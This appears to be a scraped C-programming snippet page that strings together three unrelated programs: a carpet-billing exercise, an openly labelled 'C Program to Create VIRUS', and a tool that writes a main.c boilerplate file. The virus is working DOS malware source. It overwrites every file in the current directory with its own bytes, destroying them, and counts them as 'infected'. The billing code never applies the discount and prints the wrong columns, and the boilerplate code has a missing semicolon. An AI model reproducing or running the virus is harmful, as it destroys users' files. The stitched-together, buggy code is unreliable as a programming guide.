How To Write a C program that creates customers' bills for a carpet company when the following is given ?

Write a C program that creates customers' bills for a carpet company when the following is given:

a. the length and the width of the carpet in feet.
b. the carpet price per square foot.
c. the percent of discount for each customer.

1. float inputL();
2. float inputW();
3. float carpetP();
4. float carpetD();
5. float computeA(float l, float w);
6. float computeCost(float area, float price);
7. void display(float l, float w, float area, float cprice, float labor);
8.  
9. #include <stdio.h>
10.  
11. int main()
12. {
13.         float l, w, area, price, discount, cprice;
14.         float labor=0.35;
15.        
16.         l=inputL();
17.         w=inputW();
18.         price=carpetP();
19.         discount=carpetD();
20.         area=computeA(l,w);
21.         cprice=computeCost(area, price);
22.         display(l,w,area,cprice,labor);
23.         return 0;
24.        
25. }
26.  
27. float inputL()
28. {
29.         float a;
30.         printf("Enter Length >");
31.         scanf("%f", &a);
32.         return a;
33. }
34.  
35. float inputW()
36. {
37.         float b;
38.         printf("Enter Width >");
39.         scanf("%f", &b);
40.         return b;
41. }
42.  
43. float carpetP()
44. {
45.         float c;
46.         printf("Enter price per square foot >");
47.         scanf("%f", &c);
48.         return c;
49. }
50.  
51. float carpetD()
52. {
53.         float d;
54.         printf("Enter Discount per Customer >");
55.         scanf("%f", &d);
56.         return d;
57. }
58.  
59. float computeA(float l, float w)
60. {
61.         return l*w;
62. }
63.  
64. float computeCost(float area, float price)
65. {
66.         return area*price;
67. }
68.  
69. void display(float l, float w, float area, float cprice, float labor)
70. {
71.         printf("\n\nMEASUREMENT\n");
72.         printf("\nLength       %.2f ft\n", l);
73.         printf("Width        %.2f ft\n", w);
74.         printf("Area        %.2f square ft\n", area);
75.        
76.         printf("\n\nCHARGES\n\nDESCRIPTION     COST/SQ.FT.      CHARGE\n");
77.         printf("Carpet           %.2f             %.2f\n", area, cprice);
78.         printf("Labor            %.2f             %.2f\n", labor, labor);
79. }

C Program to Create VIRUS

How to write a C Program to Create VIRUS in C Programming Language ?

Solution For C Program :

/*C Program to Create VIRUS.*/

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

Creates new main.c with empty main boilerplate template

How to write a C Program to Creates new main.c with empty main boilerplate template in C Programming Language ?

Solution:

1. #define _GNU_SOURCE
3. #include <stdio.h>
4. #include <string.h>
5. #include <stdlib.h>
6. #include <sys/types.h>
7. #include <sys/stat.h>
8. #include <unistd.h>
9. #include <errno.h>
10. #include <stdbool.h>
11. #include <inttypes.h>
13. /**
14.  * Prints an optional error message, and kills process.
15.  * At the end of the error message, a newline is printed.
16.  * If msg is a NULL pointer then nothing will be printed.
17.  */
18. void die(int status, const char *msg)
19. {
20.     // print error message
21.     if (msg) {
22.         fprintf(stderr, "%s: %s\n", "mkcmain", msg);
23.     }
25.     exit(status);
26. }
28. int main(void)
29. {    
30.     const char *comment_text =
31.         "/***************************************************************************\n"
32.         " * Created by mkcmain                                                      *\n"
33.         " **************************************************************************/\n\n";
34.     size_t      comment_text_size;
36.     const char  *cmain_text = "int main(int argc, char *argv[])\n"
37.                               "{\n\n"
38.                               "\treturn 0;\n"
39.                               "}\n";
40.     size_t      cmain_text_size;
42.     const char  *filename   = "main.c";
43.     char        *cw_dir;
44.     char        *filepath;
45.     FILE        *file;
46.     struct stat sb;
48.     // attempt to get the current working dir
49.     errno  = 0;
50.     cw_dir = get_current_dir_name();
51.     if(NULL == cw_dir) {
52.         perror("get_current_dir_name()");
53.         die(EXIT_FAILURE, "could not get current directory name");
54.     }
56.     // allocate memory for path
57.     if (NULL == (filepath = malloc((strlen(cw_dir) + 1 + strlen(filename) + 1) * sizeof(char)))) {
58.         die(EXIT_FAILURE, "could not allocate memory for file path name"); }
59.     // construct file path
60.     strcpy(filepath, cw_dir);
61.     strcat(filepath, "/");
62.     strcat(filepath, filename);
63.     free(cw_dir); // just noticed this was a  memory leak .. havent tested yet
65.     // check to see if file exists
66.     if (0 == stat(filepath, &sb)) {
67.         bool abort = false;
69.         // see if this is a regular file
70.         if (!(sb.st_mode & S_IFREG)) {
71.             abort = true;
72.             fprintf(stderr, "%s: %s is not a regular file\n", "mkcmain", filepath);
73.         } else {
74.             // prompt user to replace file
75.             char response;
77.             fprintf(stdout, "%s: %jd byte file %s exists. Replace file? [y/N?] ",
78.                     "mkcmain", (intmax_t) sb.st_size, filepath);
79.             response = fgetc(stdin);
80.             if (response != 'y' && response != 'Y') {
81.                 abort = true;
82.             }
83.         }
85.         if (abort) {
86.             free(filepath);
87.             die(EXIT_FAILURE, "no file written");
88.         }
89.     }
91.     // try to open file for writing
92.     errno = 0;
93.     if (NULL == (file = fopen(filepath, "w"))) {
94.         perror("fopen");
95.         fprintf(stderr, "%s: could not open %s for writing\n", "mkcmain", filepath);
96.         free(filepath);
97.         die(EXIT_FAILURE, NULL);
98.     }
100.     // try writing comment block
101.     comment_text_size = strlen(comment_text);
102.     if (fwrite(comment_text, sizeof(char), comment_text_size, file)
103.             != comment_text_size * sizeof(char))
104.     {
105.         fprintf(stderr, "%s: could not write to open file %s\n", "mkcmain", filepath);
106.         free(filepath);
107.         die(EXIT_FAILURE, NULL);
108.     }
110.     // try to write C main file text to file
111.     cmain_text_size = strlen(cmain_text);
112.     if (fwrite(cmain_text, sizeof(char), cmain_text_size, file)
113.             != cmain_text_size * sizeof(char))
114.     {
115.         fprintf(stderr, "%s: could not write to open file %s\n", "mkcmain", filepath);
116.         free(filepath);
117.         die(EXIT_FAILURE, NULL);
118.     }
120.     // try to close the file
121.     errno = 0
122.     if (fclose(file)) {
123.         perror("fclose()");
124.         free(filepath);
125.         die(EXIT_FAILURE, "encountered error during attempt to close file");
126.     }
128.     fprintf(stdout, "%s: successfully created %s\n", "mkcmain", filepath);
129.     free(filepath);
131.     exit(EXIT_SUCCESS);
132. }